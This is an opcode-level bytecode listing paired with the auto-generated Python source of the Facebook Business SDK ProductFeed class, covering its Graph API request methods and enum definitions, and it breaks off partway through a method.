LOAD_FAST batch LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST request LOAD_ATTR add_to_batch LOAD_FAST batch LOAD_FAST success LOAD_FAST failure LOAD_CONST ('success', 'failure') CALL_FUNCTION POP_TOP LOAD_FAST request RETURN_VALUE LOAD_FAST pending POP_JUMP_IF_FALSE LOAD_FAST request RETURN_VALUE LOAD_FAST self LOAD_METHOD assure_call CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD execute CALL_METHOD RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('api_utils',) IMPORT_NAME facebook_business.utils IMPORT_FROM api_utils STORE_FAST api_utils POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST success LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_FAST failure LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST api_utils LOAD_METHOD warning LOAD_CONST '`success` and `failure` callback only work for batch call.' CALL_METHOD POP_TOP LOAD_CONST 'assoc_data' LOAD_CONST 'list<map>' BUILD_MAP STORE_FAST param_types BUILD_MAP STORE_FAST enums LOAD_GLOBAL FacebookRequest LOAD_FAST self LOAD_CONST 'id' BINARY_SUBSCR LOAD_CONST 'POST' LOAD_CONST '/supplementary_feed_assocs' LOAD_FAST self LOAD_ATTR _api LOAD_GLOBAL TypeChecker LOAD_FAST param_types LOAD_FAST enums CALL_FUNCTION LOAD_GLOBAL AbstractCrudObject LOAD_CONST 'EDGE' LOAD_GLOBAL ObjectParser LOAD_GLOBAL AbstractCrudObject LOAD_FAST self LOAD_ATTR _api LOAD_CONST ('target_class', 'api') CALL_FUNCTION LOAD_CONST ('node_id', 'method', 'endpoint', 'api', 'param_checker', 'target_class', 'api_type', 'response_parser') CALL_FUNCTION STORE_FAST request LOAD_FAST request LOAD_METHOD add_params LOAD_FAST params CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD add_fields LOAD_FAST fields CALL_METHOD POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST request LOAD_ATTR add_to_batch LOAD_FAST batch LOAD_FAST success LOAD_FAST failure LOAD_CONST ('success', 'failure') CALL_FUNCTION POP_TOP LOAD_FAST request RETURN_VALUE LOAD_FAST pending POP_JUMP_IF_FALSE LOAD_FAST request RETURN_VALUE LOAD_FAST self LOAD_METHOD assure_call CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD execute CALL_METHOD RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('api_utils',) IMPORT_NAME facebook_business.utils IMPORT_FROM api_utils STORE_FAST api_utils POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST success LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_FAST failure LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST api_utils LOAD_METHOD warning LOAD_CONST '`success` and `failure` callback only work for batch call.' CALL_METHOD POP_TOP LOAD_CONST 0 LOAD_CONST ('ProductFeedSchedule',) IMPORT_NAME facebook_business.adobjects.productfeedschedule IMPORT_FROM ProductFeedSchedule STORE_FAST ProductFeedSchedule POP_TOP BUILD_MAP STORE_FAST param_types BUILD_MAP STORE_FAST enums LOAD_GLOBAL FacebookRequest LOAD_FAST self LOAD_CONST 'id' BINARY_SUBSCR LOAD_CONST 'GET' LOAD_CONST '/upload_schedules' LOAD_FAST self LOAD_ATTR _api LOAD_GLOBAL TypeChecker LOAD_FAST param_types LOAD_FAST enums CALL_FUNCTION LOAD_FAST ProductFeedSchedule LOAD_CONST 'EDGE' LOAD_GLOBAL ObjectParser LOAD_FAST ProductFeedSchedule LOAD_FAST self LOAD_ATTR _api LOAD_CONST ('target_class', 'api') CALL_FUNCTION LOAD_CONST ('node_id', 'method', 'endpoint', 'api', 'param_checker', 'target_class', 'api_type', 'response_parser') CALL_FUNCTION STORE_FAST request LOAD_FAST request LOAD_METHOD add_params LOAD_FAST params CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD add_fields LOAD_FAST fields CALL_METHOD POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST request LOAD_ATTR add_to_batch LOAD_FAST batch LOAD_FAST success LOAD_FAST failure LOAD_CONST ('success', 'failure') CALL_FUNCTION POP_TOP LOAD_FAST request RETURN_VALUE LOAD_FAST pending POP_JUMP_IF_FALSE LOAD_FAST request RETURN_VALUE LOAD_FAST self LOAD_METHOD assure_call CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD execute CALL_METHOD RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('api_utils',) IMPORT_NAME facebook_business.utils IMPORT_FROM api_utils STORE_FAST api_utils POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST success LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_FAST failure LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST api_utils LOAD_METHOD warning LOAD_CONST '`success` and `failure` callback only work for batch call.' CALL_METHOD POP_TOP LOAD_CONST 'upload_schedule' LOAD_CONST 'string' BUILD_MAP STORE_FAST param_types BUILD_MAP STORE_FAST enums LOAD_GLOBAL FacebookRequest LOAD_FAST self LOAD_CONST 'id' BINARY_SUBSCR LOAD_CONST 'POST' LOAD_CONST '/upload_schedules' LOAD_FAST self LOAD_ATTR _api LOAD_GLOBAL TypeChecker LOAD_FAST param_types LOAD_FAST enums CALL_FUNCTION LOAD_GLOBAL ProductFeed LOAD_CONST 'EDGE' LOAD_GLOBAL ObjectParser LOAD_GLOBAL ProductFeed LOAD_FAST self LOAD_ATTR _api LOAD_CONST ('target_class', 'api') CALL_FUNCTION LOAD_CONST ('node_id', 'method', 'endpoint', 'api', 'param_checker', 'target_class', 'api_type', 'response_parser') CALL_FUNCTION STORE_FAST request LOAD_FAST request LOAD_METHOD add_params LOAD_FAST params CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD add_fields LOAD_FAST fields CALL_METHOD POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST request LOAD_ATTR add_to_batch LOAD_FAST batch LOAD_FAST success LOAD_FAST failure LOAD_CONST ('success', 'failure') CALL_FUNCTION POP_TOP LOAD_FAST request RETURN_VALUE LOAD_FAST pending POP_JUMP_IF_FALSE LOAD_FAST request RETURN_VALUE LOAD_FAST self LOAD_METHOD assure_call CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD execute CALL_METHOD RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('api_utils',) IMPORT_NAME facebook_business.utils IMPORT_FROM api_utils STORE_FAST api_utils POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST success LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_FAST failure LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST api_utils LOAD_METHOD warning LOAD_CONST '`success` and `failure` callback only work for batch call.' CALL_METHOD POP_TOP LOAD_CONST 0 LOAD_CONST ('ProductFeedUpload',) IMPORT_NAME facebook_business.adobjects.productfeedupload IMPORT_FROM ProductFeedUpload STORE_FAST ProductFeedUpload POP_TOP BUILD_MAP STORE_FAST param_types BUILD_MAP STORE_FAST enums LOAD_GLOBAL FacebookRequest LOAD_FAST self LOAD_CONST 'id' BINARY_SUBSCR LOAD_CONST 'GET' LOAD_CONST '/uploads' LOAD_FAST self LOAD_ATTR _api LOAD_GLOBAL TypeChecker LOAD_FAST param_types LOAD_FAST enums CALL_FUNCTION LOAD_FAST ProductFeedUpload LOAD_CONST 'EDGE' LOAD_GLOBAL ObjectParser LOAD_FAST ProductFeedUpload LOAD_FAST self LOAD_ATTR _api LOAD_CONST ('target_class', 'api') CALL_FUNCTION LOAD_CONST ('node_id', 'method', 'endpoint', 'api', 'param_checker', 'target_class', 'api_type', 'response_parser') CALL_FUNCTION STORE_FAST request LOAD_FAST request LOAD_METHOD add_params LOAD_FAST params CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD add_fields LOAD_FAST fields CALL_METHOD POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST request LOAD_ATTR add_to_batch LOAD_FAST batch LOAD_FAST success LOAD_FAST failure LOAD_CONST ('success', 'failure') CALL_FUNCTION POP_TOP LOAD_FAST request RETURN_VALUE LOAD_FAST pending POP_JUMP_IF_FALSE LOAD_FAST request RETURN_VALUE LOAD_FAST self LOAD_METHOD assure_call CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD execute CALL_METHOD RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('api_utils',) IMPORT_NAME facebook_business.utils IMPORT_FROM api_utils STORE_FAST api_utils POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST success LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_FAST failure LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST api_utils LOAD_METHOD warning LOAD_CONST '`success` and `failure` callback only work for batch call.' CALL_METHOD POP_TOP LOAD_CONST 0 LOAD_CONST ('ProductFeedUpload',) IMPORT_NAME facebook_business.adobjects.productfeedupload IMPORT_FROM ProductFeedUpload STORE_FAST ProductFeedUpload POP_TOP LOAD_CONST 'string' LOAD_CONST 'file' LOAD_CONST 'string' LOAD_CONST 'bool' LOAD_CONST 'string' LOAD_CONST 'string' LOAD_CONST ('fbe_external_business_id', 'file', 'password', 'update_only', 'url', 'username') BUILD_CONST_KEY_MAP STORE_FAST param_types BUILD_MAP STORE_FAST enums LOAD_GLOBAL FacebookRequest LOAD_FAST self LOAD_CONST 'id' BINARY_SUBSCR LOAD_CONST 'POST' LOAD_CONST '/uploads' LOAD_FAST self LOAD_ATTR _api LOAD_GLOBAL TypeChecker LOAD_FAST param_types LOAD_FAST enums CALL_FUNCTION LOAD_FAST ProductFeedUpload LOAD_CONST 'EDGE' LOAD_GLOBAL ObjectParser LOAD_FAST ProductFeedUpload LOAD_FAST self LOAD_ATTR _api LOAD_CONST ('target_class', 'api') CALL_FUNCTION LOAD_CONST ('node_id', 'method', 'endpoint', 'api', 'param_checker', 'target_class', 'api_type', 'response_parser') CALL_FUNCTION STORE_FAST request LOAD_FAST request LOAD_METHOD add_params LOAD_FAST params CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD add_fields LOAD_FAST fields CALL_METHOD POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST request LOAD_ATTR add_to_batch LOAD_FAST batch LOAD_FAST success LOAD_FAST failure LOAD_CONST ('success', 'failure') CALL_FUNCTION POP_TOP LOAD_FAST request RETURN_VALUE LOAD_FAST pending POP_JUMP_IF_FALSE LOAD_FAST request RETURN_VALUE LOAD_FAST self LOAD_METHOD assure_call CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD execute CALL_METHOD RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('api_utils',) IMPORT_NAME facebook_business.utils IMPORT_FROM api_utils STORE_FAST api_utils POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST success LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_FAST failure LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST api_utils LOAD_METHOD warning LOAD_CONST '`success` and `failure` callback only work for batch call.' CALL_METHOD POP_TOP LOAD_CONST 0 LOAD_CONST ('VehicleOffer',) IMPORT_NAME facebook_business.adobjects.vehicleoffer IMPORT_FROM VehicleOffer STORE_FAST VehicleOffer POP_TOP LOAD_CONST 'bool' LOAD_CONST 'Object' LOAD_CONST ('bulk_pagination', 'filter') BUILD_CONST_KEY_MAP STORE_FAST param_types BUILD_MAP STORE_FAST enums LOAD_GLOBAL FacebookRequest LOAD_FAST self LOAD_CONST 'id' BINARY_SUBSCR LOAD_CONST 'GET' LOAD_CONST '/vehicle_offers' LOAD_FAST self LOAD_ATTR _api LOAD_GLOBAL TypeChecker LOAD_FAST param_types LOAD_FAST enums CALL_FUNCTION LOAD_FAST VehicleOffer LOAD_CONST 'EDGE' LOAD_GLOBAL ObjectParser LOAD_FAST VehicleOffer LOAD_FAST self LOAD_ATTR _api LOAD_CONST ('target_class', 'api') CALL_FUNCTION LOAD_CONST ('node_id', 'method', 'endpoint', 'api', 'param_checker', 'target_class', 'api_type', 'response_parser') CALL_FUNCTION STORE_FAST request LOAD_FAST request LOAD_METHOD add_params LOAD_FAST params CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD add_fields LOAD_FAST fields CALL_METHOD POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST request LOAD_ATTR add_to_batch LOAD_FAST batch LOAD_FAST success LOAD_FAST failure LOAD_CONST ('success', 'failure') CALL_FUNCTION POP_TOP LOAD_FAST request RETURN_VALUE LOAD_FAST pending POP_JUMP_IF_FALSE LOAD_FAST request RETURN_VALUE LOAD_FAST self LOAD_METHOD assure_call CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD execute CALL_METHOD RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('api_utils',) IMPORT_NAME facebook_business.utils IMPORT_FROM api_utils STORE_FAST api_utils POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST success LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_FAST failure LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST api_utils LOAD_METHOD warning LOAD_CONST '`success` and `failure` callback only work for batch call.' CALL_METHOD POP_TOP LOAD_CONST 0 LOAD_CONST ('Vehicle',) IMPORT_NAME facebook_business.adobjects.vehicle IMPORT_FROM Vehicle STORE_FAST Vehicle POP_TOP LOAD_CONST 'bool' LOAD_CONST 'Object' LOAD_CONST ('bulk_pagination', 'filter') BUILD_CONST_KEY_MAP STORE_FAST param_types BUILD_MAP STORE_FAST enums LOAD_GLOBAL FacebookRequest LOAD_FAST self LOAD_CONST 'id' BINARY_SUBSCR LOAD_CONST 'GET' LOAD_CONST '/vehicles' LOAD_FAST self LOAD_ATTR _api LOAD_GLOBAL TypeChecker LOAD_FAST param_types LOAD_FAST enums CALL_FUNCTION LOAD_FAST Vehicle LOAD_CONST 'EDGE' LOAD_GLOBAL ObjectParser LOAD_FAST Vehicle LOAD_FAST self LOAD_ATTR _api LOAD_CONST ('target_class', 'api') CALL_FUNCTION LOAD_CONST ('node_id', 'method', 'endpoint', 'api', 'param_checker', 'target_class', 'api_type', 'response_parser') CALL_FUNCTION STORE_FAST request LOAD_FAST request LOAD_METHOD add_params LOAD_FAST params CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD add_fields LOAD_FAST fields CALL_METHOD POP_TOP LOAD_FAST batch LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST request LOAD_ATTR add_to_batch LOAD_FAST batch LOAD_FAST success LOAD_FAST failure LOAD_CONST ('success', 'failure') CALL_FUNCTION POP_TOP LOAD_FAST request RETURN_VALUE LOAD_FAST pending POP_JUMP_IF_FALSE LOAD_FAST request RETURN_VALUE LOAD_FAST self LOAD_METHOD assure_call CALL_METHOD POP_TOP LOAD_FAST request LOAD_METHOD execute CALL_METHOD RETURN_VALUE LOAD_CONST None RETURN_VALUE BUILD_MAP STORE_FAST field_enum_info LOAD_GLOBAL ProductFeed LOAD_ATTR Delimiter LOAD_ATTR __dict__ LOAD_METHOD values CALL_METHOD LOAD_FAST field_enum_info LOAD_CONST 'Delimiter' STORE_SUBSCR LOAD_GLOBAL ProductFeed LOAD_ATTR IngestionSourceType LOAD_ATTR __dict__ LOAD_METHOD values CALL_METHOD LOAD_FAST field_enum_info LOAD_CONST 'IngestionSourceType' STORE_SUBSCR LOAD_GLOBAL ProductFeed LOAD_ATTR QuotedFieldsMode LOAD_ATTR __dict__ LOAD_METHOD values CALL_METHOD LOAD_FAST field_enum_info LOAD_CONST 'QuotedFieldsMode' STORE_SUBSCR LOAD_GLOBAL ProductFeed LOAD_ATTR Encoding LOAD_ATTR __dict__ LOAD_METHOD values CALL_METHOD LOAD_FAST field_enum_info LOAD_CONST 'Encoding' STORE_SUBSCR LOAD_GLOBAL ProductFeed LOAD_ATTR FeedType LOAD_ATTR __dict__ LOAD_METHOD values CALL_METHOD LOAD_FAST field_enum_info LOAD_CONST 'FeedType' STORE_SUBSCR LOAD_GLOBAL ProductFeed LOAD_ATTR ItemSubType LOAD_ATTR __dict__ LOAD_METHOD values CALL_METHOD LOAD_FAST field_enum_info LOAD_CONST 'ItemSubType' STORE_SUBSCR LOAD_GLOBAL ProductFeed LOAD_ATTR OverrideType LOAD_ATTR __dict__ LOAD_METHOD values CALL_METHOD LOAD_FAST field_enum_info LOAD_CONST 'OverrideType' STORE_SUBSCR LOAD_FAST field_enum_info RETURN_VALUE
from facebook_business.adobjects.abstractobject import AbstractObject from facebook_business.adobjects.abstractcrudobject import AbstractCrudObject from facebook_business.adobjects.objectparser import ObjectParser from facebook_business.api import FacebookRequest from facebook_business.typechecker import TypeChecker """ This class is auto-generated. For any issues or feature requests related to this class, please let us know on github and we'll fix in our codegen framework. We'll not be able to accept pull request for this class. """ class ProductFeed( AbstractCrudObject, ): def __init__(self, fbid=None, parent_id=None, api=None): self._isProductFeed = True super(ProductFeed, self).__init__(fbid, parent_id, api) class Field(AbstractObject.Field): country = "country" created_time = "created_time" default_currency = "default_currency" deletion_enabled = "deletion_enabled" delimiter = "delimiter" encoding = "encoding" file_name = "file_name" id = "id" ingestion_source_type = "ingestion_source_type" item_sub_type = "item_sub_type" latest_upload = "latest_upload" migrated_from_feed_id = "migrated_from_feed_id" name = "name" override_type = "override_type" primary_feeds = "primary_feeds" product_count = "product_count" quoted_fields_mode = "quoted_fields_mode" schedule = "schedule" supplementary_feeds = "supplementary_feeds" update_schedule = "update_schedule" feed_type = "feed_type" override_value = "override_value" primary_feed_ids = "primary_feed_ids" rules = "rules" selected_override_fields = "selected_override_fields" class Delimiter: autodetect = "AUTODETECT" bar = "BAR" comma = "COMMA" semicolon = "SEMICOLON" tab = "TAB" tilde = "TILDE" class IngestionSourceType: primary_feed = "primary_feed" supplementary_feed = "supplementary_feed" class QuotedFieldsMode: autodetect = "AUTODETECT" off = "OFF" on = "ON" class Encoding: autodetect = "AUTODETECT" latin1 = "LATIN1" utf16be = "UTF16BE" utf16le = "UTF16LE" utf32be = "UTF32BE" utf32le = "UTF32LE" utf8 = "UTF8" class FeedType: automotive_model = "AUTOMOTIVE_MODEL" destination = "DESTINATION" flight = "FLIGHT" home_listing = "HOME_LISTING" hotel = "HOTEL" hotel_room = "HOTEL_ROOM" local_inventory = "LOCAL_INVENTORY" media_title = "MEDIA_TITLE" offer = "OFFER" products = "PRODUCTS" transactable_items = "TRANSACTABLE_ITEMS" vehicles = "VEHICLES" vehicle_offer = "VEHICLE_OFFER" class ItemSubType: appliances = "APPLIANCES" baby_feeding = "BABY_FEEDING" baby_transport = "BABY_TRANSPORT" beauty = "BEAUTY" bedding = "BEDDING" cameras = "CAMERAS" cell_phones_and_smart_watches = "CELL_PHONES_AND_SMART_WATCHES" cleaning_supplies = "CLEANING_SUPPLIES" clothing = "CLOTHING" clothing_accessories = "CLOTHING_ACCESSORIES" computers_and_tablets = "COMPUTERS_AND_TABLETS" diapering_and_potty_training = "DIAPERING_AND_POTTY_TRAINING" electronics_accessories = "ELECTRONICS_ACCESSORIES" furniture = "FURNITURE" health = "HEALTH" home_goods = "HOME_GOODS" jewelry = "JEWELRY" nursery = "NURSERY" printers_and_scanners = "PRINTERS_AND_SCANNERS" projectors = "PROJECTORS" shoes_and_footwear = "SHOES_AND_FOOTWEAR" software = "SOFTWARE" toys = "TOYS" tvs_and_monitors = "TVS_AND_MONITORS" video_game_consoles_and_video_games = "VIDEO_GAME_CONSOLES_AND_VIDEO_GAMES" watches = "WATCHES" class OverrideType: batch_api_language_or_country = "BATCH_API_LANGUAGE_OR_COUNTRY" catalog_segment_customize_default = "CATALOG_SEGMENT_CUSTOMIZE_DEFAULT" country = "COUNTRY" language = "LANGUAGE" language_and_country = "LANGUAGE_AND_COUNTRY" local = "LOCAL" smart_pixel_language_or_country = "SMART_PIXEL_LANGUAGE_OR_COUNTRY" @classmethod def get_endpoint(cls): return "product_feeds" def api_create( self, parent_id, fields=None, params=None, batch=None, success=None, failure=None, pending=False, ): from facebook_business.adobjects.productcatalog import ProductCatalog return ProductCatalog(api=self._api, fbid=parent_id).create_product_feed( fields, params, batch, success, failure, pending ) def api_delete( self, fields=None, params=None, batch=None, success=None, failure=None, pending=False, ): from facebook_business.utils import api_utils if batch is None and (success is not None or failure is not None): api_utils.warning( "`success` and `failure` callback only work for batch call." ) param_types = {} enums = {} request = FacebookRequest( node_id=self["id"], method="DELETE", endpoint="/", api=self._api, param_checker=TypeChecker(param_types, enums), target_class=AbstractCrudObject, api_type="NODE", response_parser=ObjectParser(reuse_object=self), ) request.add_params(params) request.add_fields(fields) if batch is not None: request.add_to_batch(batch, success=success, failure=failure) return request elif pending: return request else: self.assure_call() return request.execute() def api_get( self, fields=None, params=None, batch=None, success=None, failure=None, pending=False, ): from facebook_business.utils import api_utils if batch is None and (success is not None or failure is not None): api_utils.warning( "`success` and `failure` callback only work for batch call." ) param_types = {} enums = {} request = FacebookRequest( node_id=self["id"], method="GET", endpoint="/", api=self._api, param_checker=TypeChecker(param_types, enums), target_class=ProductFeed, api_type="NODE", response_parser=ObjectParser(reuse_object=self), ) request.add_params(params) request.add_fields(fields) if batch is not None: request.add_to_batch(batch, success=success, failure=failure) return request elif pending: return request else: self.assure_call() return request.execute() def api_update( self, fields=None, params=None, batch=None, success=None, failure=None, pending=False, ): from facebook_business.utils import api_utils if batch is None and (success is not None or failure is not None): api_utils.warning( "`success` and `failure` callback only work for batch call." ) param_types = { "default_currency": "string", "deletion_enabled": "bool", "delimiter": "delimiter_enum", "encoding": "encoding_enum", "migrated_from_feed_id": "string", "name": "string", "quoted_fields_mode": "quoted_fields_mode_enum", "schedule": "string", "update_schedule": "string", } enums = { "delimiter_enum": ProductFeed.Delimiter.__dict__.values(), "encoding_enum": ProductFeed.Encoding.__dict__.values(), "quoted_fields_mode_enum": ProductFeed.QuotedFieldsMode.__dict__.values(), } request = FacebookRequest( node_id=self["id"], method="POST", endpoint="/", api=self._api, param_checker=TypeChecker(param_types, enums), target_class=ProductFeed, api_type="NODE", response_parser=ObjectParser(reuse_object=self), ) request.add_params(params) request.add_fields(fields) if batch is not None: request.add_to_batch(batch, success=success, failure=failure) return request elif pending: return request else: self.assure_call() return request.execute() def get_automotive_models( self, fields=None, params=None, batch=None, success=None, failure=None, pending=False, ): from facebook_business.utils import api_utils if batch is None and (success is not None or failure is not None): api_utils.warning( "`success` and `failure` callback only work for batch call." ) from facebook_business.adobjects.automotivemodel import AutomotiveModel param_types = { "bulk_pagination": "bool", "filter": "Object", } enums = {} request = FacebookRequest( node_id=self["id"], method="GET", endpoint="/automotive_models", api=self._api, param_checker=TypeChecker(param_types, enums), target_class=AutomotiveModel, api_type="EDGE", response_parser=ObjectParser(target_class=AutomotiveModel, api=self._api), ) request.add_params(params) request.add_fields(fields) if batch is not None: request.add_to_batch(batch, success=success, failure=failure) return request elif pending: return request else: self.assure_call() return request.execute() def get_destinations( self, fields=None, params=None, batch=None, success=None, failure=None, pending=False, ): from facebook_business.utils import api_utils if batch is None and (success is not None or failure is not None): api_utils.warning( "`success` and `failure` callback only work for batch call." ) from facebook_business.adobjects.destination import Destination param_types = { "bulk_pagination": "bool", "filter": "Object", } enums = {} request = FacebookRequest( node_id=self["id"], method="GET", endpoint="/destinations", api=self._api, param_checker=TypeChecker(param_types, enums), target_class=Destination, api_type="EDGE", response_parser=ObjectParser(target_class=Destination, api=self._api), ) request.add_params(params) request.add_fields(fields) if batch is not None: request.add_to_batch(batch, success=success, failure=failure) return request elif pending: return request else: self.assure_call() return request.execute() def get_flights( self, fields=None, params=None, batch=None, success=None, failure=None, pending=False, ): from facebook_business.utils import api_utils if batch is None and (success is not None or failure is not None): api_utils.warning( "`success` and `failure` callback only work for batch call." ) from facebook_business.adobjects.flight import Flight param_types = { "bulk_pagination": "bool", "filter": "Object", } enums = {} request = FacebookRequest( node_id=self["id"], method="GET", endpoint="/flights", api=self._api, param_checker=TypeChecker(param_types, enums), target_class=Flight, api_type="EDGE", response_parser=ObjectParser(target_class=Flight, api=self._api), ) request.add_params(params) request.add_fields(fields) if batch is not None: request.add_to_batch(batch, success=success, failure=failure) return request elif pending: return request else: self.assure_call() return request.execute() def get_home_listings( self, fields=None, params=None, batch=None, success=None, failure=None, pending=False, ): from facebook_business.utils import api_utils if batch is None and (success is not None or failure is not None): api_utils.warning( "`success` and `failure` callback only work for batch call." ) from facebook_business.adobjects.homelisting import HomeListing param_types = { "bulk_pagination": "bool", "filter": "Object", } enums = {} request = FacebookRequest( node_id=self["id"], method="GET", endpoint="/home_listings", api=self._api, param_checker=TypeChecker(param_types, enums), target_class=HomeListing, api_type="EDGE", response_parser=ObjectParser(target_class=HomeListing, api=self._api), ) request.add_params(params) request.add_fields(fields) if batch is not None: request.add_to_batch(batch, success=success, failure=failure) return request elif pending: return request else: self.assure_call() return request.execute() def get_hotels( self, fields=None, params=None, batch=None, success=None, failure=None, pending=False, ): from facebook_business.utils import api_utils if batch is None and (success is not None or failure is not None): api_utils.warning( "`success` and `failure` callback only work for batch call." ) from facebook_business.adobjects.hotel import Hotel param_types = { "bulk_pagination": "bool", "filter": "Object", } enums = {} request = FacebookRequest( node_id=self["id"], method="GET", endpoint="/hotels", api=self._api, param_checker=TypeChecker(param_types, enums), target_class=Hotel, api_type="EDGE", response_parser=ObjectParser(target_class=Hotel, api=self._api), ) request.add_params(params) request.add_fields(fields) if batch is not None: request.add_to_batch(batch, success=success, failure=failure) return request elif pending: return request else: self.assure_call() return request.execute() def get_media_titles( self, fields=None, params=None, batch=None, success=None, failure=None, pending=False, ): from facebook_business.utils import api_utils if batch is None and (success is not None or failure is not None): api_utils.warning( "`success` and `failure` callback only work for batch call." ) from facebook_business.adobjects.mediatitle import MediaTitle param_types = { "bulk_pagination": "bool", "filter": "Object", } enums = {} request = FacebookRequest( node_id=self["id"], method="GET", endpoint="/media_titles", api=self._api, param_checker=TypeChecker(param_types, enums), target_class=MediaTitle, api_type="EDGE", response_parser=ObjectParser(target_class=MediaTitle, api=self._api), ) request.add_params(params) request.add_fields(fields) if batch is not None: request.add_to_batch(batch, success=success, failure=failure) return request elif pending: return request else: self.assure_call() return request.execute() def get_products( self, fields=None, params=None, batch=None, success=None, failure=None, pending=False, ): from facebook_business.utils import api_utils if batch is None and (success is not None or failure is not None): api_utils.warning( "`success` and `failure` callback only work for batch call." ) from facebook_business.adobjects.productitem import ProductItem param_types = { "bulk_pagination": "bool", "error_priority": "error_priority_enum", "error_type": "error_type_enum", "filter": "Object", } enums = { "error_priority_enum": ProductItem.ErrorPriority.__dict__.values(), "error_type_enum": ProductItem.ErrorType.__dict__.values(), } request = FacebookRequest( node_id=self["id"], method="GET", endpoint="/products", api=self._api, param_checker=TypeChecker(param_types, enums), target_class=ProductItem, api_type="EDGE", response_parser=ObjectParser(target_class=ProductItem, api=self._api), ) request.add_params(params) request.add_fields(fields) if batch is not None: request.add_to_batch(batch, success=success, failure=failure) return request elif pending: return request else: self.assure_call() return request.execute() def get_rules( self, fields=None, params=None, batch=None, success=None, failure=None, pending=False, ): from facebook_business.utils import api_utils if batch is None and (success is not None or failure is not None): api_utils.warning( "`success` and `failure` callback only work for batch call." ) from facebook_business.adobjects.productfeedrule import ProductFeedRule param_types = {} enums = {} request = FacebookRequest( node_id=self["id"], method="GET", endpoint="/rules", api=self._api, param_checker=TypeChecker(param_types, enums), target_class=ProductFeedRule, api_type="EDGE", response_parser=ObjectParser(target_class=ProductFeedRule, api=self._api), ) request.add_params(params) request.add_fields(fields) if batch is not None: request.add_to_batch(batch, success=success, failure=failure) return request elif pending: return request else: self.assure_call() return request.execute() def create_rule( self, fields=None, params=None, batch=None, success=None, failure=None, pending=False, ): from facebook_business.utils import api_utils if batch is None and (success is not None or failure is not None): api_utils.warning( "`success` and `failure` callback only work for batch call." ) from facebook_business.adobjects.productfeedrule import ProductFeedRule param_types = { "attribute": "string", "params": "map", "rule_type": "rule_type_enum", } enums = { "rule_type_enum": ProductFeedRule.RuleType.__dict__.values(), } request = FacebookRequest( node_id=self["id"], method="POST", endpoint="/rules", api=self._api, param_checker=TypeChecker(param_types, enums), target_class=ProductFeedRule, api_type="EDGE", response_parser=ObjectParser(target_class=ProductFeedRule, api=self._api), ) request.add_params(params) request.add_fields(fields) if batch is not None: request.add_to_batch(batch, success=success, failure=failure) return request elif pending: return request else: self.assure_call() return request.execute() def create_supplementary_feed_assoc( self, fields=None, params=None, batch=None, success=None, failure=None, pending=False, ): from facebook_business.utils import api_utils if batch is None and (success is not None or failure is not None): api_utils.warning( 